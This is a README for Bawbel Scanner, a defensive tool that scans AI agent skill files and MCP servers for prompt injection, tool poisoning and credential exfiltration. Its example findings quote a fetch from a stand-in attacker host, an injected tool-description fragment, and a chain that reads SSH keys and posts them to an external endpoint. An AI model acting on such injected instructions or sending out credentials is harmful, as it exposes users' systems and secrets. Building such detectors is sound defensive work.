Bawbel Scanner

Bawbel never executes your MCP servers.

pip install "bawbel-scanner[all]"bawbel scan ./skills/        # scan skill filesbawbel ssc https://server    # scan MCP server without starting it

Commands

Why Bawbel

? means not verifiable from each project's public README at the time of writing (2026-09-12). Sources for every other cell are listed in the PR description.

How it works

System overview

How a scan flows from your file to an AIVSS-scored finding:

  your file      |      v  [ Pre-processing ]    code fence stripping    negation context detection      |      v  [ Stage 0: Magika ]    ML content-type verification    gates the text engines below if content type is dangerous      |      v  [ Detection engines ]  (run in parallel)    1a  Pattern    40 regex rules, stdlib only, always on    1b  YARA       39 binary/behavioral rules    1c  Semgrep    41 structural rules    2   LLM        semantic analysis via LiteLLM    3   Sandbox    Docker behavioral sandbox      |      v  [ Deduplication ]    merge by (ave_id, line)    pattern > yara > semgrep > llm > sandbox priority      |      v  [ Toxic flow analysis ]    map findings to capability tags    check all pairs against 12 chain definitions      |      v  [ ScanResult ]    findings[]          active findings, sorted by severity    suppressed_findings[]    accepted_findings[] new in v1.2.0    toxic_flows[]    risk_score          max(findings, toxic_flows)    aivss_score         OWASP AIVSS v0.8

Detection stages

Six engines run across the pipeline. Results merge before toxic flow analysis:

  Stage 0    Magika engine             ML-based content-type verification, gates the engines below             pip install "bawbel-scanner[all]"
  Stage 1a   Pattern engine             40 regex rules, no deps, < 5ms             always active
  Stage 1b   YARA engine             39 rules, multi-condition matching             pip install "bawbel-scanner[yara]"
  Stage 1c   Semgrep engine             41 structural rules, multi-line context             pip install "bawbel-scanner[semgrep]"
  Stage 2    LLM engine             semantic analysis, catches synonym attacks             pip install "bawbel-scanner[llm]" + API key
  Stage 3    Sandbox engine             dynamic behavioral analysis in Docker             BAWBEL_SANDBOX_ENABLED=true
             +-----------+  All  ----> | dedup     | ----> findings[]  results    | sort      |       sorted by severity             +-----------+                  |                  v             toxic flow             analysis

False positive reduction

Eight layers run automatically before a finding is reported:

  file content      |      v  FP-1  code fence stripping       ~60% reduction      |         content inside ``` blanked before scan      |      v  FP-2  negation context           ~15% reduction      |         "Bad example:", "Never do this:" suppresses      |      v  FP-3  confidence scoring         ~10% reduction      |         docs/ examples/ paths reduce confidence      |      v  FP-4  LLM meta-analyzer          ~7% reduction      |         medium-confidence findings reviewed by LLM      |      v  FP-5a inline bawbel-ignore       per line      |         <!-- bawbel-ignore -->      |      v  FP-5b block suppression          per section      |         <!-- bawbel-ignore-start/end -->      |      v  FP-5c .bawbelignore patterns     per file      |         gitignore-style glob rules      |      v  FP-6  justified suppression      per finding               requires reason + reviewer + optional expiry               audit trail in accepted_findings[]

Every active finding carries a confidence field (0.0–1.0) that starts from the AVE-class baseline and is adjusted by FP-2 through FP-4 before appearing in output. confidence_band() maps it to "high" / "medium" / "low" for human display. See Evidence Lifecycle for the full pipeline.

See Suppression Guide for full details.

Toxic flow detection

A single fetch() call is a finding. A fetch() that retrieves credentials and then sends them to an external endpoint is an attack chain, and the two findings together are far more dangerous than either alone.

Bawbel detects these compound sequences as toxic flows. After deduplication, every finding is mapped to a capability tag. Bawbel then checks all pairs against 12 built-in chain definitions and raises a ToxicFlow when a dangerous combination is found.

Other scanners detect compound attacks too. NVIDIA SkillSpector, for example, ships a source-to-sink taint tracker (TT1-TT5) over its own AST, including a credential exfiltration chain. Bawbel's approach differs in what it operates on and what it emits: chains are composed from AVE capability tags rather than traced through an AST, so a flow is detected across natural-language instructions and configuration, not only executable code. Each flow carries a stable flow_id, its own AIVSS score, and the AVE IDs of its contributing findings.

  skill.md findings:    AVE-2026-00003  credential-read   (READ ~/.ssh/id_rsa)         AIVSS 6.8 MEDIUM    AVE-2026-00026  data-exfil        (POST to external endpoint)  AIVSS 6.8 MEDIUM          │                │          └───── chain ────┘                   │                   ▼  ToxicFlow: credential-exfiltration   AIVSS 9.8  CRITICAL    confidence: 0.83  (min of contributing baselines)

The toxic flow AIVSS (9.8) is higher than either individual finding (6.8), because the chain represents a complete, end-to-end exploit, not just a capability.

12 built-in chains:

Toxic flow in JSON output:

{  "flow_id": "credential-exfiltration",  "title": "Credential Exfiltration Chain",  "severity": "CRITICAL",  "aivss_score": 9.8,  "confidence": 0.83,  "ave_ids": ["AVE-2026-00003", "AVE-2026-00026"],  "capabilities": ["credential-read", "data-exfil"],  "owasp_mcp": ["MCP06", "MCP07"],  "remediation": "Remove credential access. Block egress to untrusted endpoints."}

confidence is min(baseline confidence) across the contributing findings: the weakest link in the chain. A chain is only as confident as its least certain component.

Adding a new flow requires one entry in scanner/core/toxic_flows/flows.py. No other files need to change.

Install

pip

pip install bawbel-scanner            # core - pattern engine onlypip install "bawbel-scanner[yara]"    # + YARA rulespip install "bawbel-scanner[semgrep]" # + Semgrep rulespip install "bawbel-scanner[llm]"     # + LLM semantic enginepip install "bawbel-scanner[all]"     # everything

Requires Python 3.10+. No other system dependencies for core install.

Docker

The published images are v1.2.3; no 1.3.0 image has been pushed yet. For v1.3.0 features in a container, build from source with the command below.

# Scan a local directory (recommended image)docker run --rm -v $(pwd):/scan:ro bawbel/scanner:full scan /scan --recursive
# Lightweight CI scandocker run --rm -v $(pwd):/scan:ro bawbel/scanner:latest scan /scan --recursive
# Build with all enginesdocker build --build-arg WITH_ALL=true -t bawbel/scanner:custom .

Available build args: WITH_YARA=true, WITH_SEMGREP=true, WITH_LLM=true, WITH_SANDBOX=true, WITH_ALL=true

Quick start

# Scan a skills directorybawbel scan ./skills/
# Scan recursivelybawbel scan ./skills/ --recursive
# Full remediation report for one filebawbel report ./skill.md
# Scan an MCP server manifest without starting the serverbawbel ssc https://server.example.com
# Pin skill files and detect rug pullsbawbel pin ./skills/ && git add .bawbel-pins.jsonbawbel check-pins ./skills/

Example output:

CRITICAL  AVE-2026-00001  External instruction fetch detected          line 3  fetch("https://attacker.io/payload.md")          AIVSS 8.0  MCP03, MCP04          https://api.piranha.bawbel.io/records/AVE-2026-00001
HIGH      AVE-2026-00002  Tool description behavioral injection          line 12  "IMPORTANT: before calling this tool, first..."          AIVSS 7.3  MCP03, MCP10          https://api.piranha.bawbel.io/records/AVE-2026-00002
Toxic flow detected  CREDENTIAL_EXFIL_CHAIN  AVE-2026-00003 + AVE-2026-00026 combined  AIVSS 9.8 CRITICAL
2 findings  1 toxic flow  18ms

Suppression and false positive management

When a finding is legitimate, suppress it with a justification that creates an audit trail.

<!-- bawbel-ignore: AVE-2026-00001     reason: Internal registry endpoint, not attacker-controlled     reviewer: chaksaray     reviewed: 2026-05-16-->fetch your instructions from https://internal.registry.io

For accepted risks with an expiry date:

<!-- bawbel-accept: AVE-2026-00047     reason: Placeholder replaced at deploy time, not a real credential     reviewer: chaksaray     reviewed: 2026-05-16     expires: 2026-08-16-->

Or use the CLI to insert the comment directly:

bawbel accept AVE-2026-00001 ./skill.md --line 7 \  --reason "Internal registry endpoint" \  --type false-positive
bawbel accept AVE-2026-00047 ./skill.md --line 3 \  --reason "Placeholder value, replaced at deploy" \  --type accepted-risk --expires 90d
# List all accepted findingsbawbel accept --list
# Show findings expiring within 30 days (exits 1 in CI)bawbel accept --expiring-soon --within 30

Expired accepted risks resurface automatically as active findings on the next scan.

Focused scans

Run a credential-only or delegation-only scan for targeted triage:

# Hardcoded credentials onlybawbel creds ./skills/ --recursive
# Unsafe agent delegation chains onlybawbel chain ./skills/ --recursive

Both commands use the same output format as bawbel scan. For a full security scan use bawbel scan.

AIVSS scoring

Every finding includes an OWASP AIVSS v0.8 score.

AIVSS = ((CVSS_Base + AARS) / 2) * ThM * Mitigation_Factor

AARS is the sum of 10 Agentic Risk Amplification Factors scored per the AVE record for that attack class.

{  "rule_id": "bawbel-external-fetch",  "ave_id": "AVE-2026-00001",  "aivss_score": 8.0,  "severity": "HIGH",  "aivss": {    "cvss_base": 8.5,    "aars": 7.5,    "thm": 1.0,    "mitigation_factor": 1.0,    "aivss_severity": "HIGH",    "spec_version": "0.8"  },  "confidence": 0.98,  "evidence_kind": "multi_engine",  "detection_stage": "static_detection",  "detection_layer": "content",  "owasp_mcp": ["MCP03", "MCP04"],  "piranha_url": "https://api.piranha.bawbel.io/records/AVE-2026-00001"}

AVE: the taxonomy behind every finding

Bawbel Scanner implements AVE (Agentic Vulnerability Enumeration), the behavioral classification standard for agentic AI components.

AVE assigns stable identifiers to distinct attack classes, each with an AIVSS score, a behavioral fingerprint, OWASP MCP Top 10 and MITRE ATLAS mappings, and indicators of compromise. Every finding Bawbel produces maps to an AVE ID so teams using different scanners speak the same language.

AVE-2026-00001  Metamorphic Payload via External Config Fetch   AIVSS 8.0  HIGHAVE-2026-00002  Tool Poisoning via Description Manipulation     AIVSS 7.3  HIGHAVE-2026-00046  MCP Tool Hook Hijacking                         AIVSS 9.2  CRITICAL... 87 records published total

44 of the 87 published records have no detection rule in this scanner. 27 of them are static_detection records that a rule could catch and are the scanner's backlog. The other 17 are runtime-stage records (15 runtime_observed, 2 runtime_drift_detected): they describe behavior that only shows up while an agent runs, so static analysis of a file cannot detect them by design. The record-by-record list, and the commands that produce every count in this section, are in bawbel/scanner#79.

Any scanner can emit AVE IDs. See aveproject.org for the implementer guide and record index.

Detection engines

Stage 3: Behavioral sandbox

The sandbox runs your skill file inside an isolated Docker container and watches for malicious behavior at runtime: outbound connections, credential reads, shell injections, and filesystem writes that static rules cannot catch.

Image: hub.docker.com/r/bawbel/sandbox · bawbel/sandbox:latest · bawbel/sandbox:1.2.3

Requirements: Docker Desktop or Docker Engine must be running.

Enable the sandbox

BAWBEL_SANDBOX_ENABLED=true bawbel scan ./skill.md

Or add to your .env / bawbel.yml:

# bawbel.ymlsandbox:  enabled: true

Image setup (three modes)

First run with default: Bawbel pulls bawbel/sandbox:latest from Docker Hub automatically (~200MB, one time only). Every scan after that uses the local cache: instant, no network call.

First run with local: Bawbel builds the image from the bundled Dockerfile. Takes ~60 seconds on first run, cached afterwards.

# Recommended: default (auto-pull, cached)BAWBEL_SANDBOX_ENABLED=true bawbel scan ./skill.md
# Offline / air-gapped: build locallyBAWBEL_SANDBOX_ENABLED=true BAWBEL_SANDBOX_IMAGE=local bawbel scan ./skill.md
# Custom enterprise imageBAWBEL_SANDBOX_ENABLED=true \  BAWBEL_SANDBOX_IMAGE=registry.company.com/bawbel/sandbox:v1 \  bawbel scan ./skill.md

What the sandbox detects

CI/CD

# .github/workflows/security.yml# The SARIF upload needs: permissions: security-events: write- name: Bawbel scan  id: bawbel  uses: bawbel/integrations@v1  with:    path: ./skills/    fail-on-severity: high    format: sarif
- name: Upload to GitHub Security  if: always()  uses: github/codeql-action/upload-sarif@v3  with:    sarif_file: ${{ steps.bawbel.outputs.sarif-file }}

The action is maintained in bawbel/integrations. It writes the SARIF file itself and exposes its path as the sarif-file output.

Pre-commit (scans staged .md, .json, .yaml, .yml, and .txt files):

# .pre-commit-config.yamlrepos:  - repo: local    hooks:      - id: bawbel-scan        name: bawbel scan        entry: python -m scanner.bawbel_pre_commit --fail-on-severity high        language: python        additional_dependencies: ["bawbel-scanner==1.3.0"]        files: \.(md|json|ya?ml|txt)$

Output formats

bawbel scan ./skills/ --format text    # human-readable (default)bawbel scan ./skills/ --format json    # machine-readablebawbel scan ./skills/ --format sarif   # GitHub Security / GHAS

Related

Contributing

See CONTRIBUTING.md. The most impactful contribution is a new detection rule tied to an AVE record. The coverage gap lists the published records with no rule yet.

git clone https://github.com/bawbel/scannercd scannerpip install -e ".[dev,all]"pre-commit installpython -m pytest tests/ -v